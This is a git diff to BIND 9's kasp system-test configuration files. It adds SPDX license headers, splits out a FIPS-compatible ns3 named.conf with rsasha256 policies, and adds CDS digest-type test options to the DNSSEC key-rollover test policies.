--- a/bin/tests/system/kasp/ns3/ed25519.conf
+++ b/bin/tests/system/kasp/ns3/ed25519.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 dnssec-policy "ed25519" {
         dnskey-ttl 1234;
 
diff --git a/bin/tests/system/kasp/ns3/ed448.conf b/bin/tests/system/kasp/ns3/ed448.conf
index 379f02c93a..ee4c494892 100644
--- a/bin/tests/system/kasp/ns3/ed448.conf
+++ b/bin/tests/system/kasp/ns3/ed448.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 dnssec-policy "ed448" {
         dnskey-ttl 1234;
 
diff --git a/bin/tests/system/kasp/ns3/named-fips.conf.in b/bin/tests/system/kasp/ns3/named-fips.conf.in
new file mode 100644
index 0000000000..0f1d2c1e2e
--- /dev/null
+++ b/bin/tests/system/kasp/ns3/named-fips.conf.in
@@ -0,0 +1,461 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS3
+
+include "policies/kasp.conf";
+include "policies/autosign.conf";
+
+options {
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.3; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-policy "rsasha256";
+	dnssec-validation no;
+};
+
+key rndc_key {
+        secret "1234abcd8765";
+        algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+        inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+/* Zones that are getting initially signed */
+
+/* The default case: No keys created, using default policy. */
+zone "default.kasp" {
+	type primary;
+	file "default.kasp.db";
+	dnssec-policy "default";
+};
+
+/* checkds: Zone with one KSK. */
+zone "checkds-ksk.kasp" {
+	type primary;
+	file "checkds-ksk.kasp.db";
+	dnssec-policy "checkds-ksk";
+};
+
+/* checkds: Zone with two KSKs. */
+zone "checkds-doubleksk.kasp" {
+	type primary;
+	file "checkds-doubleksk.kasp.db";
+	dnssec-policy "checkds-doubleksk";
+};
+
+/* checkds: Zone with one CSK. */
+zone "checkds-csk.kasp" {
+	type primary;
+	file "checkds-csk.kasp.db";
+	dnssec-policy "checkds-csk";
+};
+
+/* Key lifetime unlimited. */
+zone "unlimited.kasp" {
+	type primary;
+	file "unlimited.kasp.db";
+	dnssec-policy "unlimited";
+};
+
+/* Manual rollover. */
+zone "manual-rollover.kasp" {
+	type primary;
+	file "manual-rollover.kasp.db";
+	dnssec-policy "manual-rollover";
+};
+
+/* A zone that inherits dnssec-policy. */
+zone "inherit.kasp" {
+	type primary;
+	file "inherit.kasp.db";
+};
+
+/* A zone that overrides dnssec-policy. */
+zone "unsigned.kasp" {
+	type primary;
+	file "unsigned.kasp.db";
+	dnssec-policy "none";
+};
+
+/* A zone that is initially set to insecure. */
+zone "insecure.kasp" {
+	type primary;
+	file "insecure.kasp.db";
+	dnssec-policy "insecure";
+};
+
+/* A primary zone with dnssec-policy but keys already created. */
+zone "dnssec-keygen.kasp" {
+	type primary;
+	file "dnssec-keygen.kasp.db";
+	dnssec-policy "rsasha256";
+};
+
+/* A secondary zone with dnssec-policy. */
+zone "secondary.kasp" {
+	type secondary;
+	primaries { 10.53.0.2; };
+	file "secondary.kasp.db";
+	dnssec-policy "rsasha256";
+};
+
+/* A dynamic zone with dnssec-policy. */
+zone "dynamic.kasp" {
+	type primary;
+	file "dynamic.kasp.db";
+	dnssec-policy "default-dynamic";
+	allow-update { any; };
+};
+
+/* A dynamic inline-signed zone with dnssec-policy. */
+zone "dynamic-inline-signing.kasp" {
+	type primary;
+	file "dynamic-inline-signing.kasp.db";
+	dnssec-policy "default";
+	allow-update { any; };
+};
+
+/* An inline-signed zone with dnssec-policy. */
+zone "inline-signing.kasp" {
+	type primary;
+	file "inline-signing.kasp.db";
+	dnssec-policy "default";
+};
+
+/*
+ * A configured dnssec-policy but some keys already created.
+ */
+zone "some-keys.kasp" {
+	type primary;
+	file "some-keys.kasp.db";
+	dnssec-policy "rsasha256";
+};
+
+/*
+ * A configured dnssec-policy but some keys already in use.
+ */
+zone "legacy-keys.kasp" {
+	type primary;
+	file "legacy-keys.kasp.db";
+	dnssec-policy "migrate-to-dnssec-policy";
+};
+
+/*
+ * A configured dnssec-policy with (too) many keys pregenerated.
+ */
+zone "pregenerated.kasp" {
+	type primary;
+	file "pregenerated.kasp.db";
+	dnssec-policy "rsasha256";
+};
+
+/*
+ * A configured dnssec-policy with one rumoured key.
+ * Bugfix case for GL #1593.
+ */
+zone "rumoured.kasp" {
+	type primary;
+	file "rumoured.kasp.db";
+	dnssec-policy "rsasha256";
+};
+
+/* RFC 8901 Multi-signer Model 2. */
+zone "multisigner-model2.kasp" {
+	type primary;
+	file "multisigner-model2.kasp.db";
+	dnssec-policy "multisigner-model2";
+	allow-update { any; };
+};
+
+/*
+ * Different algorithms.
+ */
+zone "rsasha256.kasp" {
+	type primary;
+	file "rsasha256.kasp.db";
+	dnssec-policy "rsasha256";
+};
+zone "rsasha512.kasp" {
+	type primary;
+	file "rsasha512.kasp.db";
+	dnssec-policy "rsasha512";
+};
+zone "ecdsa256.kasp" {
+	type primary;
+	file "ecdsa256.kasp.db";
+	dnssec-policy "ecdsa256";
+};
+zone "ecdsa384.kasp" {
+	type primary;
+	file "ecdsa384.kasp.db";
+	dnssec-policy "ecdsa384";
+};
+
+/*
+ * Zone with too high TTL.
+ */
+zone "max-zone-ttl.kasp" {
+	type primary;
+	file "max-zone-ttl.kasp.db";
+	dnssec-policy "ttl";
+};
+
+/*
+ * Zone for testing GL #2375: Three is a crowd.
+ */
+zone "three-is-a-crowd.kasp" {
+	type primary;
+	file "three-is-a-crowd.kasp.db";
+	inline-signing yes;
+	/* Use same policy as KSK rollover test zones. */
+	dnssec-policy "ksk-doubleksk";
+};
+
+/*
+ * Zones in different signing states.
+ */
+
+/*
+ * Zone that has expired signatures.
+ */
+zone "expired-sigs.autosign" {
+	type primary;
+	file "expired-sigs.autosign.db";
+	dnssec-policy "autosign";
+};
+
+/*
+ * Zone that has valid, fresh signatures.
+ */
+zone "fresh-sigs.autosign" {
+	type primary;
+	file "fresh-sigs.autosign.db";
+	dnssec-policy "autosign";
+};
+
+/*
+ * Zone that has unfresh signatures.
+ */
+zone "unfresh-sigs.autosign" {
+	type primary;
+	file "unfresh-sigs.autosign.db";
+	dnssec-policy "autosign";
+};
+
+/*
+ * Zone that has missing private KSK.
+ */
+zone "ksk-missing.autosign" {
+	type primary;
+	file "ksk-missing.autosign.db";
+	dnssec-policy "autosign";
+};
+
+/*
+ * Zone that has missing private ZSK.
+ */
+zone "zsk-missing.autosign" {
+	type primary;
+	file "zsk-missing.autosign.db";
+	dnssec-policy "autosign";
+};
+
+/*
+ * Zone that has inactive ZSK.
+ */
+zone "zsk-retired.autosign" {
+	type primary;
+	file "zsk-retired.autosign.db";
+	dnssec-policy "autosign";
+};
+
+/*
+ * Zones for testing enabling DNSSEC.
+ */
+zone "step1.enable-dnssec.autosign" {
+	type primary;
+	file "step1.enable-dnssec.autosign.db";
+	dnssec-policy "enable-dnssec";
+};
+zone "step2.enable-dnssec.autosign" {
+	type primary;
+	file "step2.enable-dnssec.autosign.db";
+	dnssec-policy "enable-dnssec";
+};
+zone "step3.enable-dnssec.autosign" {
+	type primary;
+	file "step3.enable-dnssec.autosign.db";
+	dnssec-policy "enable-dnssec";
+};
+zone "step4.enable-dnssec.autosign" {
+	type primary;
+	file "step4.enable-dnssec.autosign.db";
+	dnssec-policy "enable-dnssec";
+};
+
+/*
+ * Zones for testing ZSK Pre-Publication steps.
+ */
+zone "step1.zsk-prepub.autosign" {
+	type primary;
+	file "step1.zsk-prepub.autosign.db";
+	dnssec-policy "zsk-prepub";
+};
+zone "step2.zsk-prepub.autosign" {
+	type primary;
+	file "step2.zsk-prepub.autosign.db";
+	dnssec-policy "zsk-prepub";
+};
+zone "step3.zsk-prepub.autosign" {
+	type primary;
+	file "step3.zsk-prepub.autosign.db";
+	dnssec-policy "zsk-prepub";
+};
+zone "step4.zsk-prepub.autosign" {
+	type primary;
+	file "step4.zsk-prepub.autosign.db";
+	dnssec-policy "zsk-prepub";
+};
+zone "step5.zsk-prepub.autosign" {
+	type primary;
+	file "step5.zsk-prepub.autosign.db";
+	dnssec-policy "zsk-prepub";
+};
+zone "step6.zsk-prepub.autosign" {
+	type primary;
+	file "step6.zsk-prepub.autosign.db";
+	dnssec-policy "zsk-prepub";
+};
+
+/*
+ * Zones for testing KSK Double-KSK steps.
+ */
+zone "step1.ksk-doubleksk.autosign" {
+	type primary;
+	file "step1.ksk-doubleksk.autosign.db";
+	dnssec-policy "ksk-doubleksk";
+};
+zone "step2.ksk-doubleksk.autosign" {
+	type primary;
+	file "step2.ksk-doubleksk.autosign.db";
+	dnssec-policy "ksk-doubleksk";
+};
+zone "step3.ksk-doubleksk.autosign" {
+	type primary;
+	file "step3.ksk-doubleksk.autosign.db";
+	dnssec-policy "ksk-doubleksk";
+};
+zone "step4.ksk-doubleksk.autosign" {
+	type primary;
+	file "step4.ksk-doubleksk.autosign.db";
+	dnssec-policy "ksk-doubleksk";
+};
+zone "step5.ksk-doubleksk.autosign" {
+	type primary;
+	file "step5.ksk-doubleksk.autosign.db";
+	dnssec-policy "ksk-doubleksk";
+};
+zone "step6.ksk-doubleksk.autosign" {
+	type primary;
+	file "step6.ksk-doubleksk.autosign.db";
+	dnssec-policy "ksk-doubleksk";
+};
+
+/*
+ * Zones for testing CSK rollover steps.
+ */
+zone "step1.csk-roll.autosign" {
+	type primary;
+	file "step1.csk-roll.autosign.db";
+	dnssec-policy "csk-roll";
+};
+zone "step2.csk-roll.autosign" {
+	type primary;
+	file "step2.csk-roll.autosign.db";
+	dnssec-policy "csk-roll";
+};
+zone "step3.csk-roll.autosign" {
+	type primary;
+	file "step3.csk-roll.autosign.db";
+	dnssec-policy "csk-roll";
+};
+zone "step4.csk-roll.autosign" {
+	type primary;
+	file "step4.csk-roll.autosign.db";
+	dnssec-policy "csk-roll";
+};
+zone "step5.csk-roll.autosign" {
+	type primary;
+	file "step5.csk-roll.autosign.db";
+	dnssec-policy "csk-roll";
+};
+zone "step6.csk-roll.autosign" {
+	type primary;
+	file "step6.csk-roll.autosign.db";
+	dnssec-policy "csk-roll";
+};
+zone "step7.csk-roll.autosign" {
+	type primary;
+	file "step7.csk-roll.autosign.db";
+	dnssec-policy "csk-roll";
+};
+zone "step8.csk-roll.autosign" {
+	type primary;
+	file "step8.csk-roll.autosign.db";
+	dnssec-policy "csk-roll";
+};
+
+zone "step1.csk-roll2.autosign" {
+	type primary;
+	file "step1.csk-roll2.autosign.db";
+	dnssec-policy "csk-roll2";
+};
+zone "step2.csk-roll2.autosign" {
+	type primary;
+	file "step2.csk-roll2.autosign.db";
+	dnssec-policy "csk-roll2";
+};
+zone "step3.csk-roll2.autosign" {
+	type primary;
+	file "step3.csk-roll2.autosign.db";
+	dnssec-policy "csk-roll2";
+};
+zone "step4.csk-roll2.autosign" {
+	type primary;
+	file "step4.csk-roll2.autosign.db";
+	dnssec-policy "csk-roll2";
+};
+zone "step5.csk-roll2.autosign" {
+	type primary;
+	file "step5.csk-roll2.autosign.db";
+	dnssec-policy "csk-roll2";
+};
+zone "step6.csk-roll2.autosign" {
+	type primary;
+	file "step6.csk-roll2.autosign.db";
+	dnssec-policy "csk-roll2";
+};
+zone "step7.csk-roll2.autosign" {
+	type primary;
+	file "step7.csk-roll2.autosign.db";
+	dnssec-policy "csk-roll2";
+};
diff --git a/bin/tests/system/kasp/ns3/named.conf.in b/bin/tests/system/kasp/ns3/named.conf.in
index a2731099e9..921ecc89d1 100644
--- a/bin/tests/system/kasp/ns3/named.conf.in
+++ b/bin/tests/system/kasp/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,442 +13,16 @@
 
 // NS3
 
-include "policies/kasp.conf";
-include "policies/autosign.conf";
-
-options {
-	query-source address 10.53.0.3;
-	notify-source 10.53.0.3;
-	transfer-source 10.53.0.3;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.3; };
-	listen-on-v6 { none; };
-	allow-transfer { any; };
-	recursion no;
-	dnssec-policy "rsasha1";
-};
+include "named-fips.conf";
 
-key rndc_key {
-        secret "1234abcd8765";
-        algorithm hmac-sha256;
-};
-
-controls {
-        inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-/* Zones that are getting initially signed */
-
-/* The default case: No keys created, using default policy. */
-zone "default.kasp" {
-	type primary;
-	file "default.kasp.db";
-	dnssec-policy "default";
-};
-
-/* checkds: Zone with one KSK. */
-zone "checkds-ksk.kasp" {
-	type primary;
-	file "checkds-ksk.kasp.db";
-	dnssec-policy "checkds-ksk";
-};
-
-/* checkds: Zone with two KSKs. */
-zone "checkds-doubleksk.kasp" {
-	type primary;
-	file "checkds-doubleksk.kasp.db";
-	dnssec-policy "checkds-doubleksk";
-};
-
-/* checkds: Zone with one CSK. */
-zone "checkds-csk.kasp" {
-	type primary;
-	file "checkds-csk.kasp.db";
-	dnssec-policy "checkds-csk";
-};
-
-/* Key lifetime unlimited. */
-zone "unlimited.kasp" {
-	type primary;
-	file "unlimited.kasp.db";
-	dnssec-policy "unlimited";
-};
-
-/* Manual rollover. */
-zone "manual-rollover.kasp" {
-	type primary;
-	file "manual-rollover.kasp.db";
-	dnssec-policy "manual-rollover";
-};
-
-/* A master zone with dnssec-policy, no keys created. */
 zone "rsasha1.kasp" {
 	type primary;
 	file "rsasha1.kasp.db";
 	dnssec-policy "rsasha1";
 };
 
-/* A zone that inherits dnssec-policy. */
-zone "inherit.kasp" {
-	type primary;
-	file "inherit.kasp.db";
-};
-
-/* A zone that overrides dnssec-policy. */
-zone "unsigned.kasp" {
-	type primary;
-	file "unsigned.kasp.db";
-	dnssec-policy "none";
-};
-
-/* A zone that is initially set to insecure. */
-zone "insecure.kasp" {
-	type primary;
-	file "insecure.kasp.db";
-	dnssec-policy "insecure";
-};
-
-/* A master zone with dnssec-policy but keys already created. */
-zone "dnssec-keygen.kasp" {
-	type primary;
-	file "dnssec-keygen.kasp.db";
-	dnssec-policy "rsasha1";
-};
-
-/* A secondary zone with dnssec-policy. */
-zone "secondary.kasp" {
-	type secondary;
-	primaries { 10.53.0.2; };
-	file "secondary.kasp.db";
-	dnssec-policy "rsasha1";
-};
-
-/* A dynamic zone with dnssec-policy. */
-zone "dynamic.kasp" {
-	type primary;
-	file "dynamic.kasp.db";
-	dnssec-policy "default";
-	allow-update { any; };
-};
-
-/* A dynamic inline-signed zone with dnssec-policy. */
-zone "dynamic-inline-signing.kasp" {
-	type primary;
-	file "dynamic-inline-signing.kasp.db";
-	dnssec-policy "default";
-	allow-update { any; };
-	inline-signing yes;
-};
-
-/* An inline-signed zone with dnssec-policy. */
-zone "inline-signing.kasp" {
-	type primary;
-	file "inline-signing.kasp.db";
-	dnssec-policy "default";
-	inline-signing yes;
-};
-
-/*
- * A configured dnssec-policy but some keys already created.
- */
-zone "some-keys.kasp" {
-	type primary;
-	file "some-keys.kasp.db";
-	dnssec-policy "rsasha1";
-};
-
-/*
- * A configured dnssec-policy but some keys already in use.
- */
-zone "legacy-keys.kasp" {
-	type primary;
-	file "legacy-keys.kasp.db";
-	dnssec-policy "migrate-to-dnssec-policy";
-};
-
-/*
- * A configured dnssec-policy with (too) many keys pregenerated.
- */
-zone "pregenerated.kasp" {
-	type primary;
-	file "pregenerated.kasp.db";
-	dnssec-policy "rsasha1";
-};
-
-/*
- * A configured dnssec-policy with one rumoured key.
- * Bugfix case for GL #1593.
- */
-zone "rumoured.kasp" {
-	type primary;
-	file "rumoured.kasp.db";
-	dnssec-policy "rsasha1";
-};
-
-/* RFC 8901 Multi-signer Model 2. */
-zone "multisigner-model2.kasp" {
-	type primary;
-	file "multisigner-model2.kasp.db";
-	dnssec-policy "multisigner-model2";
-	allow-update { any; };
-};
-
-/*
- * Different algorithms.
- */
 zone "rsasha1-nsec3.kasp" {
 	type primary;
 	file "rsasha1-nsec3.kasp.db";
 	dnssec-policy "rsasha1-nsec3";
 };
-zone "rsasha256.kasp" {
-	type primary;
-	file "rsasha256.kasp.db";
-	dnssec-policy "rsasha256";
-};
-zone "rsasha512.kasp" {
-	type primary;
-	file "rsasha512.kasp.db";
-	dnssec-policy "rsasha512";
-};
-zone "ecdsa256.kasp" {
-	type primary;
-	file "ecdsa256.kasp.db";
-	dnssec-policy "ecdsa256";
-};
-zone "ecdsa384.kasp" {
-	type primary;
-	file "ecdsa384.kasp.db";
-	dnssec-policy "ecdsa384";
-};
-
-/*
- * Zones in different signing states.
- */
-
-/*
- * Zone that has expired signatures.
- */
-zone "expired-sigs.autosign" {
-	type primary;
-	file "expired-sigs.autosign.db";
-	dnssec-policy "autosign";
-};
-
-/*
- * Zone that has valid, fresh signatures.
- */
-zone "fresh-sigs.autosign" {
-	type primary;
-	file "fresh-sigs.autosign.db";
-	dnssec-policy "autosign";
-};
-
-/*
- * Zone that has unfresh signatures.
- */
-zone "unfresh-sigs.autosign" {
-	type primary;
-	file "unfresh-sigs.autosign.db";
-	dnssec-policy "autosign";
-};
-
-/*
- * Zone that has missing private KSK.
- */
-zone "ksk-missing.autosign" {
-	type primary;
-	file "ksk-missing.autosign.db";
-	dnssec-policy "autosign";
-};
-
-/*
- * Zone that has missing private ZSK.
- */
-zone "zsk-missing.autosign" {
-	type primary;
-	file "zsk-missing.autosign.db";
-	dnssec-policy "autosign";
-};
-
-/*
- * Zone that has inactive ZSK.
- */
-zone "zsk-retired.autosign" {
-	type primary;
-	file "zsk-retired.autosign.db";
-	dnssec-policy "autosign";
-};
-
-/*
- * Zones for testing enabling DNSSEC.
- */
-zone "step1.enable-dnssec.autosign" {
-	type primary;
-	file "step1.enable-dnssec.autosign.db";
-	dnssec-policy "enable-dnssec";
-};
-zone "step2.enable-dnssec.autosign" {
-	type primary;
-	file "step2.enable-dnssec.autosign.db";
-	dnssec-policy "enable-dnssec";
-};
-zone "step3.enable-dnssec.autosign" {
-	type primary;
-	file "step3.enable-dnssec.autosign.db";
-	dnssec-policy "enable-dnssec";
-};
-zone "step4.enable-dnssec.autosign" {
-	type primary;
-	file "step4.enable-dnssec.autosign.db";
-	dnssec-policy "enable-dnssec";
-};
-
-/*
- * Zones for testing ZSK Pre-Publication steps.
- */
-zone "step1.zsk-prepub.autosign" {
-	type primary;
-	file "step1.zsk-prepub.autosign.db";
-	dnssec-policy "zsk-prepub";
-};
-zone "step2.zsk-prepub.autosign" {
-	type primary;
-	file "step2.zsk-prepub.autosign.db";
-	dnssec-policy "zsk-prepub";
-};
-zone "step3.zsk-prepub.autosign" {
-	type primary;
-	file "step3.zsk-prepub.autosign.db";
-	dnssec-policy "zsk-prepub";
-};
-zone "step4.zsk-prepub.autosign" {
-	type primary;
-	file "step4.zsk-prepub.autosign.db";
-	dnssec-policy "zsk-prepub";
-};
-zone "step5.zsk-prepub.autosign" {
-	type primary;
-	file "step5.zsk-prepub.autosign.db";
-	dnssec-policy "zsk-prepub";
-};
-zone "step6.zsk-prepub.autosign" {
-	type primary;
-	file "step6.zsk-prepub.autosign.db";
-	dnssec-policy "zsk-prepub";
-};
-
-/*
- * Zones for testing KSK Double-KSK steps.
- */
-zone "step1.ksk-doubleksk.autosign" {
-	type primary;
-	file "step1.ksk-doubleksk.autosign.db";
-	dnssec-policy "ksk-doubleksk";
-};
-zone "step2.ksk-doubleksk.autosign" {
-	type primary;
-	file "step2.ksk-doubleksk.autosign.db";
-	dnssec-policy "ksk-doubleksk";
-};
-zone "step3.ksk-doubleksk.autosign" {
-	type primary;
-	file "step3.ksk-doubleksk.autosign.db";
-	dnssec-policy "ksk-doubleksk";
-};
-zone "step4.ksk-doubleksk.autosign" {
-	type primary;
-	file "step4.ksk-doubleksk.autosign.db";
-	dnssec-policy "ksk-doubleksk";
-};
-zone "step5.ksk-doubleksk.autosign" {
-	type primary;
-	file "step5.ksk-doubleksk.autosign.db";
-	dnssec-policy "ksk-doubleksk";
-};
-zone "step6.ksk-doubleksk.autosign" {
-	type primary;
-	file "step6.ksk-doubleksk.autosign.db";
-	dnssec-policy "ksk-doubleksk";
-};
-
-/*
- * Zones for testing CSK rollover steps.
- */
-zone "step1.csk-roll.autosign" {
-	type primary;
-	file "step1.csk-roll.autosign.db";
-	dnssec-policy "csk-roll";
-};
-zone "step2.csk-roll.autosign" {
-	type primary;
-	file "step2.csk-roll.autosign.db";
-	dnssec-policy "csk-roll";
-};
-zone "step3.csk-roll.autosign" {
-	type primary;
-	file "step3.csk-roll.autosign.db";
-	dnssec-policy "csk-roll";
-};
-zone "step4.csk-roll.autosign" {
-	type primary;
-	file "step4.csk-roll.autosign.db";
-	dnssec-policy "csk-roll";
-};
-zone "step5.csk-roll.autosign" {
-	type primary;
-	file "step5.csk-roll.autosign.db";
-	dnssec-policy "csk-roll";
-};
-zone "step6.csk-roll.autosign" {
-	type primary;
-	file "step6.csk-roll.autosign.db";
-	dnssec-policy "csk-roll";
-};
-zone "step7.csk-roll.autosign" {
-	type primary;
-	file "step7.csk-roll.autosign.db";
-	dnssec-policy "csk-roll";
-};
-zone "step8.csk-roll.autosign" {
-	type primary;
-	file "step8.csk-roll.autosign.db";
-	dnssec-policy "csk-roll";
-};
-
-zone "step1.csk-roll2.autosign" {
-	type primary;
-	file "step1.csk-roll2.autosign.db";
-	dnssec-policy "csk-roll2";
-};
-zone "step2.csk-roll2.autosign" {
-	type primary;
-	file "step2.csk-roll2.autosign.db";
-	dnssec-policy "csk-roll2";
-};
-zone "step3.csk-roll2.autosign" {
-	type primary;
-	file "step3.csk-roll2.autosign.db";
-	dnssec-policy "csk-roll2";
-};
-zone "step4.csk-roll2.autosign" {
-	type primary;
-	file "step4.csk-roll2.autosign.db";
-	dnssec-policy "csk-roll2";
-};
-zone "step5.csk-roll2.autosign" {
-	type primary;
-	file "step5.csk-roll2.autosign.db";
-	dnssec-policy "csk-roll2";
-};
-zone "step6.csk-roll2.autosign" {
-	type primary;
-	file "step6.csk-roll2.autosign.db";
-	dnssec-policy "csk-roll2";
-};
-zone "step7.csk-roll2.autosign" {
-	type primary;
-	file "step7.csk-roll2.autosign.db";
-	dnssec-policy "csk-roll2";
-};
diff --git a/bin/tests/system/kasp/ns3/policies/autosign.conf.in b/bin/tests/system/kasp/ns3/policies/autosign.conf.in
index 261f64d196..bc3b7e11dd 100644
--- a/bin/tests/system/kasp/ns3/policies/autosign.conf.in
+++ b/bin/tests/system/kasp/ns3/policies/autosign.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -74,6 +76,7 @@ dnssec-policy "ksk-doubleksk" {
 	retire-safety P2D;
 	purge-keys PT1H;
 
+	cdnskey no;
 	keys {
 		ksk key-directory lifetime P60D algorithm @DEFAULT_ALGORITHM@;
 		zsk key-directory lifetime P1Y  algorithm @DEFAULT_ALGORITHM@;
@@ -97,6 +100,7 @@ dnssec-policy "csk-roll" {
 	retire-safety 2h;
 	purge-keys PT1H;
 
+	cds-digest-types { "sha-384"; }; // use a different digest type for testing purposes
 	keys {
 		csk key-directory lifetime P6M algorithm @DEFAULT_ALGORITHM@;
 	};
@@ -119,6 +123,7 @@ dnssec-policy "csk-roll2" {
 	retire-safety 1h;
 	purge-keys 0;
 
+	cds-digest-types { "sha-256"; "sha-384"; }; // use two digest type for testing purposes
 	keys {
 		csk key-directory lifetime P6M algorithm @DEFAULT_ALGORITHM@;
 	};
diff --git a/bin/tests/system/kasp/ns3/policies/kasp-fips.conf.in b/bin/tests/system/kasp/ns3/policies/kasp-fips.conf.in
new file mode 100644
index 0000000000..6778bac4d3
--- /dev/null
+++ b/bin/tests/system/kasp/ns3/policies/kasp-fips.conf.in
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "unlimited" {
+	dnskey-ttl 1234;
+
+	keys {
+		csk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "default-dynamic" {
+	inline-signing no;
+};
+
+dnssec-policy "manual-rollover" {
+	dnskey-ttl 3600;
+
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "multisigner-model2" {
+	dnskey-ttl 3600;
+	inline-signing no;
+
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "migrate-to-dnssec-policy" {
+	dnskey-ttl 1234;
+
+	keys {
+		ksk key-directory lifetime P6M algorithm 8;
+		zsk key-directory lifetime P6M algorithm 8;
+	};
+};
+
+dnssec-policy "rsasha256" {
+	dnskey-ttl 1234;
+
+	keys {
+		ksk key-directory lifetime P10Y algorithm 8;
+		zsk key-directory lifetime P5Y  algorithm 8;
+		zsk key-directory lifetime P1Y  algorithm 8 3072;
+	};
+};
+
+dnssec-policy "rsasha512" {
+	dnskey-ttl 1234;
+
+	keys {
+		ksk key-directory lifetime P10Y algorithm 10;
+		zsk key-directory lifetime P5Y  algorithm 10;
+		zsk key-directory lifetime P1Y  algorithm 10 3072;
+	};
+};
+
+dnssec-policy "ecdsa256" {
+	dnskey-ttl 1234;
+
+	keys {
+		ksk key-directory lifetime P10Y algorithm 13;
+		zsk key-directory lifetime P5Y  algorithm 13;
+		zsk key-directory lifetime P1Y  algorithm 13 256;
+	};
+};
+
+dnssec-policy "ecdsa384" {
+	dnskey-ttl 1234;
+
+	keys {
+		ksk key-directory lifetime P10Y algorithm 14;
+		zsk key-directory lifetime P5Y  algorithm 14;
+		zsk key-directory lifetime P1Y  algorithm 14 384;
+	};
+};
+
+dnssec-policy "checkds-ksk" {
+	dnskey-ttl 303;
+
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "checkds-doubleksk" {
+	dnskey-ttl 303;
+
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "checkds-csk" {
+	dnskey-ttl 303;
+
+	keys {
+		csk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "ttl" {
+	max-zone-ttl 299;
+};
diff --git a/bin/tests/system/kasp/ns3/policies/kasp.conf.in b/bin/tests/system/kasp/ns3/policies/kasp.conf.in
index 825b21b1fa..cb045bcb07 100644
--- a/bin/tests/system/kasp/ns3/policies/kasp.conf.in
+++ b/bin/tests/system/kasp/ns3/policies/kasp.conf.in
@@ -1,39 +1,17 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
